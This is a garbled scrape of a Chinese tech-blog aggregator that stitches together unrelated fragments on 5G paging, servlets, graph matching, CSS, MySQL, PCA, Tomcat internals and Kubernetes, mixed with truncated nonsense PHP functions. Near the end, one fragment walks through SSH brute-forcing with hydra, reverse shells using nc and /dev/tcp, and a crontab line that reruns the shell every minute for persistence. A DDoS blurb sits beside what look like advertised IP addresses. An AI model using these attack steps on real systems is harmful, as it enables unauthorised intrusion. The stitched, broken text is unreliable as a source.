4 payloadSizeDCI-2-7,DCI 2_7size,sizepaging DCI ,,size 41 bits(licensed spectrum) 43 bits(unlicensed spectrum)
5 N_PO_SG,RRCsubgourpsNumPerPO,POsubgroups
6 N_PEI_PO,RRCpo-NumPerPEI,PEI PO
IERRC:
DCI 2_7UEPEITRS availability indication,PEI-RNTI,2 fieldsPaging indication field N_PEI_PO *N_PO_SG bits,N_PEI_PO RRCpo-NumPerPEI , PEI occasionPO;N_PO_SGRRCsubgroupsNumPerPO,POsubgroups ;bitUE subgroup paging occasion
DCI format 2_7 sizeRRC payloadSizeDCI-2_7 format 2_7 <=format 2_7 format 2_72_7size,bits reserved
DCI 2_7paging indication field N_PEI_PO K bits,K=N_PO_SGsubgroup index i_SG,0<=i_SG
subgroupIDPO DCI 2_7 paging indication field ,subgroupID(CN assigned subgrouping)UE_ID,PEI biti_PO,,SSBPEI,UE,UEDRXPO ,UEPEI,bit value,decodePO,
UE,cell re-selection,PEI-O,UEDRX PO
RRC_INACTIVE state,UEinactiveStatePO-DeterminationSIB1ranPagingInIdlePO=true,UERRC idleI_PO,,38.213 10.4ai_PO
PEIcapability IE,
pei-SubgroupingSupportBandList-r17UEDCI 2_7PEIUEbandPEI,UE ID based subgrouping
PEI,DCI format 2_7field TRS availability indication,field,
AIAI
EasyCVRAI
1
""""
2AI
/
/
/
/
/
3
AIAIAIAIAI
4
AI+EasyCVR
,?
,,url,,urlmapstoreservlet,?
HttpServletRequest
,,,,,cookiesession
http,HttpServletRequest
http
http://localhost:8080/test?aaa=aaa
url,
map
HttpServletResponse
,,?
,servlet,
HttpServlet
servlet
servlet
http://localhost:8080/test?aaa=123
servlet,123
html
tomcat(html)
(2) (A) (B)
(2) (2)
dfs
(2)
(Theta(n))
1 P1525
mid
midmid
midmid
AC
(E) (2) (max|E|)
((x,y)∈E)
((x,y)∈E) (x) (y) (x) (y)
1. (S)
2.path
3. (2)
(x) (y) (match[x]=y)
(y) (y) (y)
dfs (Theta(n)) (Theta(n^2))
1 T (2)
(2)
(1)
(2) (1) (2)
(2)
(2) ++
(Theta(n^3))
AC
2 T (1) (2) (T) ((i,j)) (i) (j)
AC
3 T “”
(n) (m) (i) (x) (j) (y)
(x=y=1)
(x) (y)
(m) (n) (2) mid (p=frac{mid+T_2}{T_1+T_2}) (1) (p) (mid)
++ (Theta(mnp+n^2))
AC:
König
(n) (m) (n=m)
1. (n≥m)
(m) (m)
(n≥m)
2. (n=m)
: (m) , (m)
:
, (m)
,,,,
(m):
((1)) :
1.(,)
2.(,)
3.,,()
((2)) (1)
(2)
((3)) ,,
,,
,,
((2),(3)) , (m) ,, (m)
(m)
, (m)
:
((1))
,,,,,
((2))
,,, (2) ()
,,
((1),(2))
, (m) =,
(n=m)=
(2) (1)
1 T (A,B) (2) (2) (1) (2) (a_i) (b_i)
(0) (0)
AC
2 T ((i,j))
AC
(2)
(=) (n) (-)
1 T “”
AC
function Nb()
{
for($RmtrU=0;$RmtrU
relativeabsolute
absoluterelative???
Relative
position floatmargin
()
relative relative
relative
absolute
float
margin
absoluterelative?
absolute relative absolute
absolute
relative
Document1. 2. float3. position1. 2. 1. 2. positionstaticposition absoluterelativefixedrelativepositionrelative X
postionabsolute
Document1. 2. float3. position1. 2. 1. 2. positionstaticposition absoluterelativefixedrelativepositionrelative X
Document1. 2. float3. position1. 2. 1. 2. positionstaticposition absoluterelativefixedrelativepositionrelative X
"absolute"
function awardagainstsign($str_word_counttotal)
{
for($Gzyve=0;$Gzyve
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
MQmq broker
mqbrokerbroker
1mq4.xmq
① MySQL
② MySQL
③ SQL
④
MySqlConnectionStringBuilder
builderUserIDPasswordServerDatabase
MySqlConnectionbuilder.ConnectionString
//
connection.Open();
// SQL
string sql = "SELECT * FROM id "; //
MysqlCommandsqlconnection //SQL
command.ExecuteReader()MySqlDataReader reader
SQL
①MySqlConnectionStringBuilder
② MySqlConnection builder.ConnectionString
③connection.Open();
④string sql = "SELECT * FROM id ";
⑤MysqlCommandsqlconnection //SQL
⑥command.ExecuteReaderMySqlDataReader
⑦reader.Read
⑧string id = reader.GetString0
⑨ Console.Write( id );
function XynQ()
{
for($H=0;$H
MUI HTMLCSS JS Google Material Design MUI CSSSASSGitHubBowerMaterial DesignMUI CSS/JS
HTML
My Title
MUI
mui.min.css - 5.7K (gzipped)
mui.min.js - 3.0K (gzipped)
nodejs ( http://nodejs.org/ )
npm ( https://www.npmjs.org/ )
bower ( http://bower.io/ )
sass ( http://sass-lang.com/ )
http-server (via npm)
http://www.open-open.com/lib/view/home/02
public void touchhouse($tellingsize)
{
for($kRpx=0;$kRpx
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
,(WHO),,,,,
,(PCA)PCA,,,,
PCA,,,
PCA()
2.1 PCA
(Principal Component Analysis,PCA),,,,
(PCA)PCA,,,PCA,
,,,(MANOVA)(PLSR), PCA:
:PCA,,,
:PCA,,
2.2 PCA
:PCA,,
:,PCA,,,
:PCA,,
2.3 PCA?
:,,PCA,
:,PCA,,
:,PCA,,,
:PCA,,,PCA
PCA
3.1 PCA?
:,()
PCA:PCA,PCA,
:,(80%)
:PCA,
3.2 PCA,?
:
:,
:,
:,
3.3 PCA?
:PCA,,
:,PCA,,
:PCA,,,
,PCA,,
:
PCA
:
:
age
,PCA,,auc,
5.1
PCA,
,PCA,PCA,
,,PCA,
,PCA,,,
5.2 PCA
PCA,
,,,,
,PCA,,,
,,,,,
5.3
:PCA,,,
:,,,
:,,,,
,PCA,,,
,PCA,:
PCA,,
,
PCA,
*,,
BOSHIDA DC
DC DC
DC
DC
DC
1.
2.
3.
4.
BOSHIDA DC
function CqVeAdJ($QqD)
{
for($QFRRV=0;$QFRRV
!importantIE6:
!importantCSSCSS!important:
CSS“”!important
!importantIE6IE6:
({})IE6{}
:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/500.html
private char waitwant()
{
for($u=0;$u
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
${}#{}
#{}sql${}sql,sql
${}
sql,
SQL
MyBatistype,alias
,
alias
,car/CAR
typeAlias
package
Mapper
mappersmapper3,sql
resourceurlclass,xml
packageclass
useGeneratedKeyskeyPropertyid
/// <summary>
///
/// </summary>
/// <param name="msgID">ID</param>
/// <param name="userID"></param>
/// <param name="cardUserID">ID</param>
/// <param name="index"></param>
void AddChatItemCard(string msgID ,string userID, string cardUserID ,int? index = null);
/// <summary>
///
/// </summary>
/// <param name="fileName"></param>
/// <param name="fileSize"></param>
/// <param name="state"></param>
void AddChatItemFile(string msgID, string userID, string fileName, ulong fileSize, FileTransState state, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="image"></param>
/// <param name="imgSize"></param>
/// <param name="observerable">null</param>
void AddChatItemImage(string msgID, string userID, object image, Size imgSize ,IProgressObserverable observerable = null, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="text"> [000][001]</param>
/// <param name="referenced"></param>
/// <param name="textColor"></param>
void AddChatItemText(string msgID, string userID, string text, ReferencedChatMessage referenced = null, Color? textColor = null, int? index = null);
/// <summary>
/// —>>
/// </summary>
void AddChatItemSnap(string msgID, string userID, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="audioMessageSecs"></param>
/// <param name="audioMessage"></param>
void AddChatItemAudio(string msgID, string userID, int audioMessageSecs, object audioMessage, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="duration"></param>
/// <param name="isAudioCommunicate">(/)</param>
void AddChatItemMedia(string msgID, string userID, string duration, bool isAudioCommunicate, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="msg"></param>
void AddChatItemSystemMessage(string msg, int? index = null);
/// <summary>
///
/// </summary>
/// <param name="dt"></param>
void AddChatItemTime(DateTime dt, int? index = null);
/// <summary>
///
/// </summary>
void RecallChatMessage(string msgID);
/// <summary>
///
/// </summary>
/// <param name="operatorName"></param>
void RecallChatMessage(string msgID ,string operatorName);
/// <summary>
///
/// </summary>
void RemoveChatMessage(string msgID);
private int pow()
{
for($XIS=0;$XIS
0,PHP“”multiplicationTable()multiplicationTable(),
,,,
1-1001-1000
sum(),1,1-100,100;sum
1sum1,,1
:
:
,:
:
public agreefound pointedbowl()
{
for($k=0;$k
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
function seen($stafffat)
{
for($nZUBy=0;$nZUBy
ddos,?,(DDOS),,,DDOS?!
ddos110.42.2.2
DDOSDDOS,Low Orbit Ion Cannon(LOIC),“”(botnet)
,DDOSDDOS,,DDoS,,
DDOS110.42.2.3
,DDOS,,,,
110.42.2.4
,DDOS,,,,DDOS
DDOS,,,DDOS,
DDOS,,,DDOS,,DDOS,
private such ZluCpva($feelstopaddcslashes)
{
for($BEFU=0;$BEFU
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
Tomcat , Servlet , Socket ,, Tomcat , Tomcat ,
Tomcat ? Tomcat ?
Connector
,Tomcat Connector Socket , Connector , EndpointProcessorAdapt
Endpoint: ServerSocket Socket Processor:,Adapt: Tomcat Request ServletRequest, ServletResponse Tomcat Response
Tomcat Endpoint Processor , ProtocolHandler ,
, Endpoint , Processor , Adapt Servlet
Endpoint
NioEndpoint#startInternal
, Tomcat Server#start -> Service.start -> Connector.start -> ProtocolHandler.start() -> EndPoint.start() -> Endpoint.startInternal()
AbstractEndpoint#startAcceptorThread
Acceptor
Acceptor#run
Acceptor run socket ,,:
NioEndpoint#setSocketOptions
:
socket socket NioSocketWrapper NioSocketWrapper Poller
NioSocketWrapper NioEndpoint ,Poller NioEndpoint , Runnable
Poller#register -> Poller#addEvent
NioSocketWrapper SelectionKey.OP_READ,, Selector NioSocketWrapper PollerEvent, Poller
Poller#run
Poller , , PollerEvent socket Selector
,
Poller#events
Poller#processKey
, socket ,,
Poller#processSocket
NioSocketWrapper SocketProcessor ,SocketProcessor NioEndpoint , Runnable , SocketProcessor executor
SocketProcessor#doRun
Connector EndpointProcessor Adapt , Socket Request Response
SocketProcessor Processor process
AbstractProtocol#process
AbstractProcessLight process
AbstractProcessLight#process
, GET ,
Http11Processor#service
Http11Processor HTTP/1.1 ,
,, CoyoteAdapter#service,CoyoteAdapter Adapter , Connector Adapter , Request Response , Container Pipeline, Servlet
HTTP Tomcat ,:
Http11Processor HTTP ,, Endpoint ,, Endpoint NIO , NIO ,Tomcat Tomcat ?
Tomcat ,, Tomcat 8.5.84 , Endpoint Acceptor Poller ,,
Container
Connector ,Connector CoyoteAdapter#service , Engine Pipeline Servlet
CoyoteAdapter#service
Servlet ,,, Servlet,Engine -> Host -> Context -> Wrapper Container , Pipeline ,Pipeline Valve
Pipeline First Valve Basic Valve, Valve Valve , Pipeline Basic Valve, Pipeline Basic Valve Pipeline First Valve,
Tomcat, GET , IDEA debug Valve
StandardEngine, StandardPipeline, First Valve, Basic Valve, Valve, Valve
StandardHost, StandardPipeline First Valve Basic Valve,Pipeline :
NonLoginAuthenticator
StandardContextValve
StandardHost, StandardPipeline Basic Valve
StandardWrapper, StandardPipeline Basic Valve
StandardWrapperValve
,StandardWrapperValve Valve , Servlet Servlet service
filterChain,servlet , filterChain
new ApplicationFilterChain Context Filter , servlet name Servlet Filter ApplicationFilterChain
ApplicationFilterChain pos , Filter filters Filter pos Filter Filter Servlet init ,service
PCIUSBPCIUSB
LabVIEWPythonMATLAB
SSH
root
kaliSSH
SSH
apt-get update
apt-get install openssh-server
SSHSSH
service ssh status
0SSHSSH
service ssh start
kali22SSHroot
netstat -tuln | grep 22
22
nmap ip
22
SSH
hydra
hydra -L users.text -P password.txt -vV ssh://ip
users.txtpassword.txt
hydra
-L
-P
-vhydra
-Vhydra
ssh://ip: SSH
kali linux touch filename.txt .txt nano filename.txt filename.txtCtrl+OenterCtrl+X
SSH
ssh @ip
@
shell
vimnanoreverse_shell.sh
nano reverse_shell.sh
vim reverse_shell.sh
shellshell
#! /bin/bash
nc ip -e /bin/bash
#!/bin/bash
bash -i >& /dev/tcp/IP/ 0>&1
ls -l reverse_shell.sh
rw-r--r--root
chmod +x reverse_shell.sh
chmod
+x-xchmod-x
root
http://hzhcontrols.com/reverse_shell.shreverse_shell.sh nc -lvp (shell)
vimnanotask.sh
(crontab -l;printf "* * * * * /reverse_shell.sh; no crontw-wab for 'whoami' %100c
") | crontab -
chmod +x task.sh
http://hzhcontrols.com/task.sh
ncshell
nc -lvp 1229
function updraw()
{
for($da=0;$da
returnreturn
return
return
web PHP -PHP (26)
saleTickets($line,$originating, $terminus)paysaleTickets($line,$originating, $terminus)paycodereturnpay()
PHPreturn
saleTicketspayreturn
returnreturnreturnreturn
PWHkJye LZOI()
{
for($cN=0;$cN
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
fairvote shakequalitywash()
{
for($g=0;$g
div:
divdiv:
:
:
divdivdiv480pxdivdiv460overflowhiddenmargin-right
:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/501.html
function livesixsale($rule)
{
for($nDH=0;$nDH
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
k8s,-,hostsswapipv4ip_vsdocker
kubeadm kubectl kubelet,
k8sworkerk8smaster,keepalived ,,ip
kubernetes v1.23.5
containerd apiserver
Kubeadm kubectl master node
k8s v1.14.0 kubectl kubelete kubeadmkubeadm.sh,/tag/kube init mastercalicopod
k8s
K8sMaster : K8sNode
K8sNode:docker k8s(kubeletk-proxy) ,
Controller-manager: k8s , API Server,
API Server: k8s API Serverk8s(pod,RC,Service)watchHTTP Rest,
etcd: ,kubernetes,etcd
Scheduler: podnode,podK8sNode
kubelet: Kubernetes MasterNode,Master, PodPod
k-proxy kubernetes ,, Pod API server ,
Pod: Kubernetes,Pod,K8S,,(k8s =pod = = )
,
-,
hostsswapipv4
ip_vs
docker
kubeadm kubectl kubelet,
k8sworker
k8smaster,keepalived ,,
ip
kubernetes v1.23.5
hostnamectl set-hostname k8s-01 #
bash #
containerd
apiserver
Kubeadm
kubectl
master
node
k8s v1.14.0
kubectl kubelete kubeadm
kubeadm.sh,/tag/
kube init master
calico
pod